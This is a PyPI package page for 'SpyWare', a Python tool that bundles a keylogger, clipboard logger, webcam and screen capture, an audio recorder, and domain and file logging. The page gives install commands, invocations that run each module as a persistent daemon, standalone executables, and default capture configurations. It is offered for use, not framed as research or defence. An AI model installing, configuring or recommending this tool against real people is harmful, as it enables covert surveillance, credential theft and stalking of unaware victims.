This package implement a complete SpyWare.
Project description
SpyWare
Description
This package implement a spyware.
You have:
- KeyLogger
- ClipboardLogger
- Domains/IP logger
- Webcam spy
- Screen spy
- Files logger
- Recorder
Requirements
This package require :
- python3
- python3 Standard Library
- pyautogui
- opencv-python
- pillow
- pyperclip
- pynput
- pyaudio
Installation
pip install SpyWare
Launcher
Command line:
SpyWare # Run all modules
SpyWare screen # Run module screenshot
SpyWare key keylogger.conf # Run module key with custom config file
Python script
from SpyWare import spyware
spyware() # Run all modules
from SpyWare import AudioLogger
AudioLogger.audioSpy() # Run a module
There are three way to change the config filename:
- With argument
filename
of config function - With
environ
variables - With command line arguments
from SpyWare.FilesLogger import Daemon, filesConfig
filesConfig("files.conf")
Daemon().run_for_ever()
from SpyWare.CopyLogger import Daemon, copyConfig
from os import environ
environ["clipboardSpy.conf"] = "clipboard.conf"
copyConfig()
daemon = Daemon()
daemon.run_for_ever()
from SpyWare.ScreenLogger import Daemon, screenConfig
from sys import argv
argv[1] = "screen.conf"
screenConfig()
daemon = Daemon()
daemon.run_for_ever()
To change the config file with os.environ
you can use the default filename.
Defaults filenames are PYTHON-DIR/Lib/site-packages/SpyWare/<Module>/*.conf
.
Python executable:
python3 WebcamLogger.pyz webcamSpy.conf
# OR
chmod u+x WebcamLogger.pyz # add execute rights
./WebcamLogger.pyz webcamSpy.conf # execute file
python3 SpyWare.pyz screen screenSpy.conf # run one module
chmod u+x SpyWare.pyz
./SpyWare.pyz screen screenSpy.conf # run one module
You can't use python executable file without custom configuration file.
python3 WebcamLogger.pyz
Traceback (most recent call last):
...
KeyError: ...
So you can't run all module with one command line and python executable:
python3 SpyWare.pyz
Traceback (most recent call last):
...
KeyError: ...
Python module (command line):
python3 -m SpyWare # run all
python3 -m SpyWare.AudioLogger # run one module
python3 -m SpyWare.AudioLogger audioSpy.conf # run one module with configuration file
python3 -m SpyWare.AudioLogger.AudioLogger # this command run one module too
Default configurations files
Clipboard
[SAVE]
filename = clipboard.txt
[TIME]
clipboardSleep = 11
Recorder
[SAVE]
filename = record*.wav
dirname = records
[TIME]
recordSleep = 3590
recordTime = 10
Domains
[SAVE]
filename = domains.txt
[TIME]
dnsSleep = 60
browserSleep = 86400
readingFileSleep = 0.5
getDomainSleep = 0.05
Fileslogger
[SAVE]
filename = files.csv
[TIME]
fileSleep = 0
directorySleep = 1
relaunchSleep = 86400
Keylogger
[SAVE]
filename = keySpy.txt
event_press = 0
event_release = 0
hot_keys = 1
event_time = 1
[TIME]
Screenshot
[SAVE]
filename = screenshot*.png
dirname = screenshots
[TIME]
screenshotSleep = 3600
Webcam
[SAVE]
filename = webcam*.png
dirname = pictures
[TIME]
pictureSleep = 3600
Links
- Github Page
- Documentation
- Documentation Keylogger
- Documentation Recorder
- Documentation Clipboard
- Documentation Webcam
- Documentation Screenshot
- Documentation Files
- Documentation Domains
- Download as python executable
- Download Keylogger as python executable
- Download Recorder as python executable
- Download Clipboard as python executable
- Download Webcam as python executable
- Download Screenshot as python executable
- Download Files as python executable
- Download Domains as python executable
- Pypi package
Licence
Licensed under the GPL, version 3.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
SpyWare-0.0.2.tar.gz
(235.7 kB
view hashes)